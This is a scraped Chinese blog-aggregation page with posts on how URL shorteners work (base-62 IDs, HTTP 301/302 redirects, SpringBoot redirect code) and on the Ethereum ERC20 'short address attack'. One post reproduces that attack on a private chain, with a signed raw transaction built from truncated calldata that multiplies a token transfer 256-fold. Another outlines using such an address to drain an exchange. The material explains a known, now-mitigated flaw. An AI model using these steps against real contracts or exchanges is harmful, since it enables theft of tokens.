精华内容
下载资源
问答
  • 短地址
    千次阅读
    2019-08-29 22:19:01

           网页短地址(短链接、短链)是指将原本较长的网址转化成较短的网址,从而便于用户记忆、输入,便于在社交软件上的传播,以及为生成的二维码不至于太密集。很多互联网公司都提供了生成短链的服务,比如新浪微博短网址服务:http://sina.lt/,本文主要整理实现短网址服务的基本原理。

           短网址服务的整个流程是:还以新浪微博短网址服务为例,用户输入想要缩短的长网址,转化后得到一个以http://t.cn开头的短网址,然后用户将该短网址通过微信或者微博等方式分享给朋友,其他人点击之后即可进入原本长网址所对应的页面。

           实现短网址服务主要有两个关键:

                  1、如何把一个任意长度的字符串转化成一个较短的字符串?

                  2、从短网址如何还原出长网址。

           很容易让人想到哈希算法,通过一定的方式将任意长的文本转化成一个固定长度的字符串,只要目标字符串的长度适当,那么不同的输入几乎对应的就是不同字符串。不过有个缺点就是无法从短网址还原成长网址,因此不适用我们的场景。但基于哈希算法的思想,我们可以设计一种以多进制为基础的算法完成这个任务。具体来说就是:

           我们可以创建一个用于保存长网址的数据表,这张表只有两个字段,一个自增主键用于保存id,另一个url字段用于存放原始的长网址,每个长网址都在这张表有一条记录。当进行长网址转换时,先检查数据表中是否存在该长网址,若是存在则直接获取该长网址的id,否则在数据表中创建一条新记录,并返回新生成的id。对于这个id,我们可以转化成一个多进制表示的新值。比如用以“0-9a-z”这36个字符表示的36进制,100000000(共9位数)这个数字可以被表示成1njchs,只需要6个字符即可,将这6个字符拼接到准备好的域名后即可得到一个对应的短网址返回给用户。由于一亿个网址只需要6个字符,因此这种方式足够满足大部分网站的需求。

           当用户点击短网址后,只需要将短网址中代表多进制的这部分提取出来,还原成十进制的数字作为id查表中的url即可得到原始的长网址,再把这个短网址的请求重定向到长网址即可让用户访问到原始的网页。

           另外,在根据长网址去数据表查找它是否存在时,因为长网址可以任意长,因此直接用它作为索引在数据表中查找的话效率较低,可以考虑在表中增加一个hash字段,保存长网址的哈希值,并通过查找哈希值来判断条目是否存在,提高查找的效率。

     

     

    转自:https://blog.csdn.net/MiMicoa/article/details/79834242

    更多相关内容
  • 聊聊短地址及其原理

    千次阅读 2019-11-24 11:06:21
    原文 短地址原理,CSDN同步发布。 转载请注明出处,谢谢! 简介 一个同事遇到一个问题,他说受限于第三方的服务,自己请求所带过去的字符串因为太长,无法从第三方服务获取信息,很是苦恼????。后来我们商量了一下...

    原文 短地址原理,CSDN同步发布。

    转载请注明出处,谢谢!


    简介

    一个同事遇到一个问题,他说受限于第三方的服务,自己请求所带过去的字符串因为太长,无法从第三方服务获取信息,很是苦恼😴。后来我们商量了一下,最终借鉴短地址的思想解决了问题。道理很简单,因为我们请求中的附加字符串信息第三方服务只是透传回来给我们,我们只需要把这些附加信息进行字符压缩就可以了,这样请求带过去的字符串长度就满足了要求😊。

    无论是写文章还是制作一些表格的时候,我会时常用到短地址。短地址的优势在于其短(字符少)、简洁,方便书写又不占位置。方便在社交网络和第三方平台上分享链接,投放广告。比如有人会在发朋友圈的时候带上短地址,还有一些营销短信里面也会带一些短地址链接。

    有现成的短地址生成器,常用的短地址转换有 百度短网址转换Google短网址转换新浪短地址转换,可惜的是谷歌关闭了该服务,官方发言如下:

    On March 30, 2018, we turned down support for goo.gl URL shortener. 
    From April 13, 2018, only existing users were able to create short links on the goo.gl console.
    Analytics data was available for up to one year, until March 30, 2019, when goo.gl was discontinued. 
    Previously created links will continue to redirect to their intended destination. 
    Please see this blog post for more details.
    

    我经常使用百度的短地址服务,在国内访问它是最快的也能满足我的工作和学习需求,它也提供 API 服务可以参考 短网址生成接口文档 学习和了解。

    我们先来了解一下 HTTP 协议中那些重定向的事。

    HTTP 请求重定向

    HTTP 中的 301302303307308 响应状态码,都表示重定向的响应。

    其中,301308 响应状态码表示永久重定向,302303307 表示临时重定向。

    那我们来说一下什么是重定向?

    重定向(Redirect)就是通过各种方法将各种网络请求重新定个方向转到其它位置(如:网页重定向、域名的重定向、路由选择的变化也是对数据报文经由路径的一种重定向)。

    举个例子,你要去 A 机构办理一个证件,等你去了之后A机构的某人告诉你他们不再受理此事了,需要你去 B 机构办理,然后你就自己去了 B 机构。这个过程就类似于重定向。

    那么,HTTP 协议中定义的这些30X响应状态码就好比 A机构的某人 它们告诉客户端,你需要访问另外一个地址了。

    重定向做了两次 HTTP 请求, 第一次,客户端请求 A 服务器,A 响应告诉浏览器,你应该去 B 服务器访问。此时就去访问服务器 B,这个时候你可以看到浏览器中的网址变了,这就是第二次 HTTP 请求。

    重定向过程:

    Step-1、浏览器(客户端)发送 HTTP 请求;

    Step-2、Web服务器A接收后发送 302 状态码响应,并在响应头中把对应的 Location 给浏览器;

    Step-3、浏览器收到服务器返回的 302 响应码,就自动再发送一个新的 HTTP 请求(请求URL是新的 Location 中的地址);

    Step-4、Web服务器(可能是 A 也可能是其他服务器)根据此请求寻找资源并发送给浏览器,最终展示给用户。

    关于 Location 可以看下面的截图(这是一个重定向的 HTTP 请求示例),它是被放在响应头中的,其值是需要重定向的网址 http://www.veryitman.com,从这个过程来看可以看出重定向是客户端(浏览器)行为。
    在这里插入图片描述
    还有个叫转发的技术,这个和重定向是不一样的,转发是服务器行为,还拿上面的 A 机构例子来说,你要去 A 机构办理一个证件,等你去了之后 A 机构的某人告诉你他们不再受理此事了,但是 A 机构可以自己协调资源帮你完成而不需要你去其他机构办理了。这个过程就类似于转发。

    模拟重定向

    现在使用 SpringBoot 模拟一下重定向,我用的 SpringBoot 是 2.2.0.RELEASE 版本。

    ①、 新建 SpringBoot Web 工程,可以参考 微服务-想办法让项目运行起来 这篇文章。

    ②、 修改 pom 文件,增加 fastjson,示例如下:

    <dependency>
    	<groupId>com.alibaba</groupId>
    	<artifactId>fastjson</artifactId>
    	<version>1.2.62</version>
    </dependency>
    

    ③、 新建 MSTestRedirectController 文件,源码如下:

    import com.alibaba.fastjson.JSON;
    import org.springframework.stereotype.Controller;
    import org.springframework.web.bind.annotation.GetMapping;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.ResponseBody;
    
    import javax.servlet.http.HttpServletRequest;
    
    @Controller
    @RequestMapping(value = "testredirect")
    public class MSTestRedirectController {
    
        @GetMapping(value = "/access/web")
        public String redirect() {
            return "redirect:/testredirect/index/realweb?parameter=coming";
        }
    
        @ResponseBody
        @GetMapping(value = "/index/realweb")
        public String real(HttpServletRequest request) {
            return "redirect happened:" + JSON.toJSONString(request.getParameterMap());
        }
    }
    

    这里要注意几个问题:

    • 既然是重定向,该 Controller 不能使用 @RestController 注解而要使用 @Controller 注解;

    • 这里使用了关键字 redirect 实现重定向;

    ④、 启动工程,并在浏览器访问下面的网址

    http://localhost:8080/testredirect/access/web
    

    可以看到浏览器发生了重定向,截图如下:
    在这里插入图片描述
    除了上面的方法可以实现重定向外还可使用 HttpServletResponsesendRedirect 方法,示例如下:

    @GetMapping(value = "/access/web2")
    public String redirect2(HttpServletResponse response) {
        try {
            // 方法1:自定义状态码方式
            // String url = "http://localhost:8080/testredirect/index/realweb?parameter=coming";
            //response.setHeader("Location", url);
            //response.sendError(301);
            
            // 方法2:sendRedirect,默认返回的状态码是 302
            response.sendRedirect("/testredirect/index/realweb?parameter=coming");
        } catch (IOException e) {
            e.printStackTrace();
        } finally {
            return "";
        }
    }
    

    请求短地址过程

    我拿网址 http://www.veryitman.com/ 来举实例,使用百度短地址服务。

    百度短地址页面 去生成 http://www.veryitman.com/ 对应的短地址,如下图所示:
    在这里插入图片描述
    得到短地址是 https://dwz.cn/hnmau4Zs 复制该地址拷贝到浏览器(我用的是 Chrome 浏览器)的地址栏中,并打开 Chrome 的审查视图。切换到 Network 选项,此时回车打开短网址。
    在这里插入图片描述
    HTTP 发送了 GET 请求(红色1),请求地址是 https://dwz.cn/hnmau4Zs ,服务器(百度的短地址服务)返回给 Chrome 浏览器 302 状态码,浏览器发现是该重定向码就再次用 Location 里面包含的地址发送了第二次请求即重定向请求。

    你也可以使用微博的短地址服务,提醒一点,微博的短地址请求返回码是 301 而百度返回的是 302 响应码。302 状态码允许各种各样的重定向,一般情况下都会实现为到 GET 的重定向,但是不能确保 POST 会重定向为 POST,302 表示旧地址A的资源还在(仍然可以访问),这个重定向只是临时地从旧地址A跳转到地址B;而 301 状态码表明目标资源被永久的移动到了一个新的 URI,任何未来对这个资源的引用都应该使用新的 URI。

    短地址原理

    刚开始我很好奇,为什么我把长地址 A 转换为短地址 B,然后用 B 去访问居然还是 A 地址的内容,浏览器是怎么做到的?

    通过上面的请求过程示例,相信大家应该大概理解了请求短地址的原理了。

    在百度短地址服务中,我们将 http://www.veryitman.com/ 转换为 https://dwz.cn/hnmau4Zs ,此时百度短地址服务维持了 短-长 地址的映射关系了而且是唯一的,当我们去访问 https://dwz.cn/hnmau4Zs ,其实请求的是百度短地址服务,该服务将短地址对应的长地址(放在响应头的 Location 中)返回给我们的浏览器,并返回 302 状态码,此时浏览器就重定向到了 http://www.veryitman.com/ 这个网址上了。

    简单总结一下其步骤如下:

    Step-1、用户在浏览器里输入 https://dwz.cn/hnmau4Zs 这个网址去访问;

    Step-2、浏览器解析 DNS,获取该域名对应的 IP 地址;

    Step-3、获取到 IP 后,浏览器发送 HTTP GET 请求查询 hnmau4Zs 并获取到 https://dwz.cn/hnmau4Zs 对应的长地址;

    Step-4、HTTP 通过 302 状态码转到去请求对应的长地址 http://www.veryitman.com/ 上面了。

    我把 http://www.veryitman.com/ 放到百度和微博的短地址生成分别是:

    // 百度短地址
    https://dwz.cn/hnmau4Zs
    
    // 微博段地址
    http://1t.click/aMtD
    

    可以看出百度生成较复杂,首先协议变成了 HTTPS,其次生成代码是 8 位(hnmau4Zs),而微博生成的是 4 位(aMtD)代码。

    短地址码一般都是由26个大写字母 A-Z 、26个小写字母 a-z 和10个数字 0-9 共62个字符随机组合而成,那么可以这样来生成短地址码,我们定义一个62进制,把这62个字符按照10进制数转成62进制数,那么就可以得到每个字符对应的62进制数了。同理,将短地址还原的时候把62进制转换为对应的10进制就可以了。

    根据上面算法,可以看出百度可以支持 62^8 个短地址,微博可以支持 62^4 个短地址。

    关于短地址生成的算法,大家可以用SpringBoot自己撸一个或者去网上找找别人已经实现的。


    给朋友的网站做个小推广,创业不易~

    喜欢 AI 的朋友可以看看这个 人工智能的教程,教程不仅是零基础,通俗易懂,而且非常风趣幽默,像看小说一样!点 这里 可以跳转到教程,对人工智能感兴趣的同学可以了解一下。


    活着不是靠泪水搏取同情,而是靠汗水获得掌声~
    在这里插入图片描述

    展开全文
  • 智能合约安全:短地址攻击

    千次阅读 2018-11-14 10:13:51
    昨天一位博友提到短地址攻击的问题,感觉挺有意思的,就花了点时间研究了一下。 1.什么是短地址攻击 大家都知道,如果我们想调用智能合约的函数,需要在交易的payload字段中填充一段字节码。以ERC20的transfer()的...

    昨天一位博友提到短地址攻击的问题,感觉挺有意思的,就花了点时间研究了一下。

    1.什么是短地址攻击

    大家都知道,如果我们想调用智能合约的函数,需要在交易的payload字段中填充一段字节码。以ERC20的transfer()的函数为例,函数原型为:

    function transfer(address to, uint amount) public returns (bool success);

    我们需要通过一段68个字节的字节码来调用该函数进行转账,比如:

    a9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca000000000000000000000000000000000000000000000000000000000000000001

    具体可以分解为3个部分:

    • 4字节函数签名:a9059cbb
    • to参数:000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca00
    • amount参数:0000000000000000000000000000000000000000000000000000000000000001

    大家可能注意到,这个转账地址有点特殊:最后两个数字为0。

    假如有个用户“不小心”忘记输入最后这两个0了怎么办?这样我们的输入就只有67个字节了。EVM是通过CALLDATALOAD指令从输入数据中获取函数参数的,因此它会先从后面的amount参数里“借”两个0来补足前面的地址参数。当它要加载amount参数的时候,发现位数不够,会在右边补0,参见以太坊源码:
    在这里插入图片描述
    所以,经过这么一折腾,实际上EVM看到是下面这些参数:

    • 4字节函数签名:a9059cbb
    • to参数:000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca00(借0)
    • amount参数:0000000000000000000000000000000000000000000000000000000000000100(补0)

    看到问题了没?转账地址没变,但是转账金额增大了256倍!如果你的转账地址后面有足够多的0,那么转账金额将会大得惊人~

    但是有人会说,这没啥毛用啊,难道智能合约的作者会傻到不检查你地址的余额,就直接让你提币走人吗?我猜想这跟目前中心化交易所的运营机制相关。考虑下面的场景:用户充币到交易所钱包,交易所又把这些币转移到了它们内部的合约账户中。等用户发起提币申请,并通过人工审核后,再从合约中把币打到用户的账户中。

    在这种情况下,交易的msg.sender就是交易所本身,因此可以通过余额检查。当然,这里有个前提:你必须能够通过人工审核!也就是审核员失职。实际上,从没有人成功利用过这个漏洞,最先发现这个问题的GNT项目组,也仅仅是观察到一笔异常交易而已,并没有产生任何实质性损失。网络上流传的攻击方法是:先找到一个里面有足够数量代币的交易所账户,充1000个币进去,然后再申请提1000个币,就可以提出来256000个币。但是,在我看来这似乎并不可行,如果有读友能想出可行的场景,欢迎给我留言~

    2.现在还能重现吗?

    能。

    当然,不能通过常规的方式。不能通过remix,因为客户端会检查地址长度。也不能通过sendTransaction(),因为web3中也加了保护。但是,我们可以使用sendRawTransaction()。

    2.1先写一个简单合约

    pragma solidity ^0.4.25;
    
    contract ABC {
        mapping (address => uint) balances;
    
        event Transfer(address indexed _from, address indexed _to, uint256 _value);
    
        constructor() public {
            balances[msg.sender] = 10000;
        }
    
        function transfer(address to, uint amount) public returns(bool success) {
            if (balances[msg.sender] < amount) return false;
            balances[msg.sender] -= amount;
            balances[to] += amount;
            emit Transfer(msg.sender, to, amount);
            return true;
        }
    
        function getBalance(address addr) public view returns(uint) {
            return balances[addr];
        }
    }
    

    2.2解锁账户

    进入geth控制台,解锁第一个账户,用来部署合约:

    personal.unlockAccount(eth.accounts[0])

    2.3部署合约

    在remix的Compile面板中,点击“Details”查看编译结果,把下面这段拷贝到控制台上部署合约:

    var abcContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"name":"sufficient","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"}]);
    
    var abc = abcContract.new(
       {
         from: web3.eth.accounts[0], 
         data: '0x608060405234801561001057600080fd5b506127106000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506102da806100656000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a9059cbb14610051578063f8b2cb4f146100b6575b600080fd5b34801561005d57600080fd5b5061009c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061010d565b604051808215151515815260200191505060405180910390f35b3480156100c257600080fd5b506100f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610266565b6040518082815260200191505060405180910390f35b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561015e5760009050610260565b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509190505600a165627a7a72305820b995f589cfcbb99e7bf5f31b8c40c052004886078f8e985c624c7348ef4c1bde0029', 
         gas: '4700000'
       }, function (e, contract){
        console.log(e, contract);
        if (typeof contract.address !== 'undefined') {
             console.log('Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
        }
     })
    

    2.4启动挖矿

    合约创建交易必须被打包执行后才能生成合约地址,在控制台启动挖矿流程:

    miner.start()
    admin.sleepBlocks(1)
    miner.stop()
    

    控制台会打印出生成的合约地址:

    Contract mined! address: 0xdc1b549ed7668e13a8bd72f35b8143adb69b91ed transactionHash: 0xe167a7c105d486f5e772baafb35cef1c196d188378c86d854549fc58d60ba0ca

    2.5生成ABI调用字节码

    也就是交易的payload部分,可以通过getData()接口获得编码结果:

    var abc = abcContract.at('0xdc1b549ed7668e13a8bd72f35b8143adb69b91ed')
    var abi = abc.transfer.getData('0x146aed09cd9dea7a64de689c5d3ef73d2ee5ca00', 1)
    

    产生的字节码序列如下:

    0xa9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca000000000000000000000000000000000000000000000000000000000000000001

    2.6生成raw transaction

    在上面的字节码中去掉两个0,然后生成raw transaction:

    const Web3 = require('web3')
    const Tx = require('ethereumjs-tx')
    const privateKey = Buffer.from('9a24cc556fe35c17f4be00e970bb7f7ad5c24b9853d8965d2a810e8c412b2a88', 'hex')
    
    const txParams = {
      nonce: '0x01', //可以通过eth.getTransactionCount(eth.accounts[0])得到
      gasPrice: '5',
      gasLimit: '5000',
      to: '0xdc1b549ed7668e13a8bd72f35b8143adb69b91ed',
      value: '0x00',
      data: '0xa9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca0000000000000000000000000000000000000000000000000000000000000001' //去掉了两个0
      // EIP 155 chainId - mainnet: 1, ropsten: 3
      chainId: 111 //我搭建的私网ID是111,根据你自己的配置调整
    }
    
    var tx = new Tx(txParams)
    tx.sign(privateKey)
    var serializedTx = tx.serialize()
    console.log('0x' + serializedTx.toString('hex'))
    

    得到签好名的交易:

    0xf8a901823130843530303094dc1b549ed7668e13a8bd72f35b8143adb69b91ed80b843a9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca0000000000000000000000000000000000000000000000000000000000000001820101a0aa3594aada7f032aed9760484eb770e47ac958af9a054fd83bc5f63e76974d42a047d608dbdb9109ef392697c6365aa827a934953d90608e038f02859c23d80456

    2.7发送raw transaction

    最后一步,通过sendRawTransaction()发送交易:

    eth.sendRawTransaction('0xf8a901823130843530303094dc1b549ed7668e13a8bd72f35b8143adb69b91ed80b843a9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca0000000000000000000000000000000000000000000000000000000000000001820101a0aa3594aada7f032aed9760484eb770e47ac958af9a054fd83bc5f63e76974d42a047d608dbdb9109ef392697c6365aa827a934953d90608e038f02859c23d80456')
    

    生成的交易hash值:

    “0xac0173835fc1a2e4b00bd9ef82825289ec27ef36b6120f1ee4c84394c468185a”

    启动挖矿打包执行交易,然后查看目标账户的余额:

    abc.getBalance.call('0x146aed09cd9dea7a64de689c5d3ef73d2ee5ca00')
    

    输出结果:

    256
    

    Bingo!我们本来只转了1个币到这个账户,但实际上转过来256个!成功复现了短地址攻击问题。

    我们可以通过eth.getTransactionReceipt()可以查看event:
    在这里插入图片描述
    可以看到,转账金额确实变成了0x100。

    3.还能薅羊毛吗?

    不能。

    这个漏洞在2017年爆出后,各大交易所基本都在客户端增加了地址长度检查。

    另外,即使它们不做地址长度检查,web3中也增加了保护,如果地址长度不够,会在前面补0:
    在这里插入图片描述
    我们可以测试一下:
    在这里插入图片描述

    4.总结

    短地址攻击是利用EVM在参数长度不够时自动在右方补0的特性,通过去除钱包地址末位的0,达到将转账金额左移放大的效果。目前主要依靠客户端主动检查地址长度来避免该问题,另外web3层面也增加了参数格式校验。虽然EVM层仍然可以复现,但是在实际应用场景中基本没有问题。

    参考:

    https://blog.golemproject.net/how-to-find-10m-by-just-reading-blockchain-6ae9d39fcd95

    https://github.com/ethereum/EIPs/blob/master/EIPS/eip-55.md

    https://vessenes.com/the-erc20-short-address-attack-explained/

    更多文章欢迎关注“鑫鑫点灯”专栏:https://blog.csdn.net/turkeycock
    或关注飞久微信公众号:
    在这里插入图片描述

    展开全文
  • 智能合约漏洞——短地址攻击

    千次阅读 2021-05-27 11:05:59
    严格意义来说,短地址/参数攻击并不算智能合约的漏洞,这是一个应用上的接口数据处理问题。在介绍过得ERC20模板智能合约,其中有个transfer函数,其定义如下; function transfer(address _to, uint256 _value) ...

     基础知识

    严格意义来说,短地址/参数攻击并不算智能合约的漏洞,这是一个应用上的接口数据处理问题。在介绍过得ERC20模板智能合约,其中有个transfer函数,其定义如下;

    function transfer(address _to, uint256 _value) returns (bool success)

    实际进行调用的时候,客户端(DApp)需要发起一个交易,交易中附带对于这个智能合约函数的调用,也就是交易的data字段,它是一个字节数组。其中前4个字节是函数选择器,其后应该是这两个参数的ABI编码的数值。假设有这样一个转账,转账地址为0xdededededededededededededededededededede,转账金额为100(智能合约中指定decimals为18),则这个调用交易的字段data字段的值如下图说所示:

    a905 9cbb 0000 0000 0000 0000 0000 0000 dede dede dede dede dede dede dede dede dede dede 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 56bc 75e2 d631 0000

    4 字节,是方法名的哈希:

    a905 9cbb

    32字节,放以太坊地址,目前以太坊地址是20个字节,高危补0

    0000 0000 0000 0000 0000 0000 dede dede dede dede dede dede dede dede dede dede

    32字节,是需要传输的代币数量,这里是1*10^18 GNT

    0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0de0 b6b3 a764 0000

    0x01 以太坊短地址

    当调用transfer方法提币时,如果允许用户输入了一个短地址,这里通常是交易所这里没有做处理,比如没有校验用户输入的地址长度是否合法。

     

    如果一个以太坊地址如下,注意到结尾为0:

     

    0x12345678901234567890123456789012345678

    00

     

    当我们将后面的00省略时,EVM会从下一个参数的高位拿到00来补充,这就会导致一些问题了。

     

    这时,token数量参数其实就会少了1个字节,即token数量左移了一个字节,使得合约多发送很多代币出来。

     

     构造短地址攻击

     

    (1)首先生成一个ETH的靓号,这个账号末尾为2个0

    使用一些跑号工具就可以做到,比如MyLinkToken工具,可以很轻易跑出末尾两个0的。

     

     

    (2)找一个交易所钱包,该钱包里token数量为256000

     

    (3)往这个钱包发送1000个币

     

    (4)然后再从这个钱包中提出1000个币,当然这时候写地址的时候把最后两个0去掉

     

    如果交易所并没有校验用户填入的以太坊地址,则EVM会把所有函数的参数一起打包,会把amount参数的高位1个字节吃掉。

     

    (5)这三个参数会被传入到msg.data中,然后调用合约的transfer方法,此时,amount由于高位的1个字节被吃掉了,因此amount = amount << 8,即扩大了256倍,这样就把25600个币全部提出来了。

     

     总结

    这个漏洞,说实话以太坊有不可推卸的责任,因为EVM并没有严格校验地址的位数,并且还擅自自动补充消失的位数。此外,交易所在提币的时候,需要严格校验用户输入的地址,这样可以尽早在前端就禁止掉恶意的短地址。

     

    展开全文
  • 短地址还原

    千次阅读 2018-09-14 08:02:05
    缩短网址的好处就是能把很长的URL网址压缩的非常简短,而且跳转后链接指向的网页不变...或者遇到迅雷的文件下载地址、eMule的eD2k链接那种长到变态的链接,用缩短网址服务压缩以下也是很不错的。  但是,网址缩短服...
  • ZigBee根据已知IEEE地址获取设备的短地址,使用下面函数: APSME_LookupNwkAddr(uint8 *extAddr,uint8 *nwkAddr);
  • 区块链安全 - 以太坊短地址攻击

    万次阅读 2018-03-07 20:44:22
    当调用transfer方法提币时,如果允许用户输入了一个短地址,这里通常是交易所这里没有做处理,比如没有校验用户输入的地址长度是否合法。 如果一个以太坊地址如下,注意到结尾为0: 0x...
  • thinkphp 生成短地址

    千次阅读 2018-02-07 22:22:12
    短地址生成方式有多种 我们这里使用入库的方式实现方法生成短地址:原地址入库 返回的主键id 转换64位进制 生成 域名/zqtexds(主键id 64位形式)解析短地址:访问短地址 路由重写 解析短地址 64位主键转换10进制 根据...
  • 二、节点、端口、任务号、短地址的关系 在SampleApp.h文件中,定义了端口号,如下: 为什么: 任务和端口一一对应? 1. 就好比我们的电脑,不同的端口,对应着不同的任务。 2. 终端、路由器、协调器之间...
  • 获取终端节点的短地址方法

    千次阅读 2017-12-26 19:00:27
    首先协调器组网成功之后,随之终端节点加入网络,可以使终端节点可以借助AF发送函数向协调器发送数据,那么协调器也就记录下了终端节点的短地址.直接用该行代码即可获取到该终端节点的短地址,该法可用于协调器控制终端...
  • 短地址(ShortUrl)实例

    千次阅读 2017-06-15 23:37:01
    短地址,就是把长的URL转成短URL, 目前谷歌/新浪/百度/腾讯等都免费提供API服务。因调用次数限制或提供出去的url域名不是想要的,因此考虑自己实现。 短址本质上是实现了一个映射函数 f: X -> Y 。而这个映射...
  • golang实战--实现短地址服务

    千次阅读 2017-04-11 15:40:02
    golang写的简单的短地址服务,只做练手用,还有很多不完善的地方 TODO: 验证URL的有效性; 确认URL的协议(http、https) 数据库操作优化 现在的路由太简单了 下面贴上代码 package main import ( "database/sql...
  • 短地址

    千次阅读 2011-06-28 09:17:00
    web站点和wap站点本身的url实在是太长,其中有一些是历史遗留问题,有一些是不得不为之。而像专题活动这类的,很多...短地址分为两个服务,一个是解析短地址(decode),一个是生成短地址(encode)。当然,其中也还涉
  • 这篇文章主要介绍了C# URL短地址压缩算法及短网址原理解析,本文重点给出了算法代码,需要的朋友可以参考下 短网址应用已经在全国各大微博上开始流行了起来。例如QQ微博的url.cn,新郎的sinaurl.cn等。 我们在QQ...
  • 具体查看项目: http://hashids.org/java/
  • 1,两个字节在网络里面唯一的网络短地址 2,每一个CC2530芯片出厂的时候,TI公司会固化一个唯一的8个字节的MAC地址(IEEE地址)。 怎么知道芯片里面的MAC地址、网络短地址是多少? #include "NLMEDE.h" //...
  • 终端发送自己的短地址给协调器

    千次阅读 2016-11-03 22:36:13
    终端发送自己的短地址给协调器
  • 微博URL短地址lua生成算法

    千次阅读 2016-08-26 11:03:32
    短地址(Short URL),或叫短网址、短链接等等,就是比较短的URL地址。借助短地址,可以将原来冗长的网址替换成简短的网址,让使用者可以更容易分享链接。在Web 2.0的今天,不得不说,这是一个潮流(我喜欢这句话,...
  • 获取设备自身IEEE地址 extern byte *NLME_GetExtAddr( void ); 获取设备自身网络地址 extern uint16 NLME_GetShortAddr( void ); 获取父设备网络地址 extern uint16 NLME_GetCoordShortAddr
  • 短地址转换原理

    万次阅读 2012-03-22 19:38:28
    网址应用已经在全国各大微博上开始流行了起来。例如QQ微博的url.cn,新郎的sinaurl.cn等。 我们在QQ微博上发布网址的时候,微博会自动判别网址,并将其转换,例如:http://url.cn/2hytQx 为什么要这样做的,原因...
  • IEEE地址和长地址,短地址

    千次阅读 2012-07-02 21:38:23
    IEEE地址是64位,在设备进入网络之前就分配好了的,应该在全球是唯一的,而网络... 长地址固定,就像身份证ID,每个人一个,但是在一个建好的网络中,会给一个设备再临时分配一个地址,这个地址是16位,就是短地址
  • 协调器是如何获取终端的IEEE地址并自动对其分配网络短地址呢?    |字号 订阅 协调器是如何获取终端的IEEE地址并自动对其分配网络短地址呢? 猜想如下: 终端上电后稳定后就开始寻找周围...
  • bit.ly 短地址转换One of the more popular URL shortening services is Bit.ly. I've showed you how to create short URLs with TinyURL and Is.Gd, so why not show you how to create Bit.ly URLs remotely? ...
  • 引自 http://www.nowamagic.net/webdesign/webdesign_ShortUrlInTwitter.php网址应用已经在全国各大微博上开始流行了起来。例如QQ微博的url.cn,新郎的sinaurl.cn等。我们在QQ微博上发布网址的时候,微博会自动...
  • 微博短地址

    千次阅读 2012-07-17 14:33:46
    将长网址md5生成32位签名串,分为4段,每段8个字节; 对这四段循环处理,取8个字节,将他看成16进制串与0x3fffffff(30位1)与操作...取里面的任意一个就可作为这个长url的url地址; 这是算法实现: public sta
  • 一种方法是调用第三方提供址服务的接口来生成即可。一般他们提供接口或调用包。 百度网址API 怎样调用百度网址api? http://www.baidu.com/search/dwz.html (无需授权即可调用) 新浪网址API接口 新浪...
  • 短地址TinyURL的API使用

    千次阅读 2019-09-30 13:19:22
    TinyURL的短地址服务超过10年了,很稳定,官方没有给出API连接,其实很简单: API: 调用:http://tinyurl.com/api-create.php?url=http://URL, 你可以发送一个request到这个地址, Response中只有一个字符串,就是你...
  • 最近,项目中需要用到...同时还发现有不少网友在发帖求助,怎么实现Java版的网址(ShortUrl)的算法。干脆一不做,二不休,参考了一下网上比较流行的PHP版网址(ShortUrl)算法:再根据自己的理解,用Java实现了该
  • bit.ly 短地址转换Bit.ly is a great URL shortening service. I love their reliability, shortness of the URL, and the information they provide about a given URL. Recently Bit.ly updated their API to ...
  • 新浪围脖,twitter上随处可见链接的短地址google最近也发布了短地址的服务用python2.6小试一把import urllibimport urllib2import simplejson#发送的form数据postdata=urllib.urlencode({'url':'www.sina.com.cn'})#...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 447,007
精华内容 178,802
关键字:

短地址

友情链接: 组成原理实验一.rar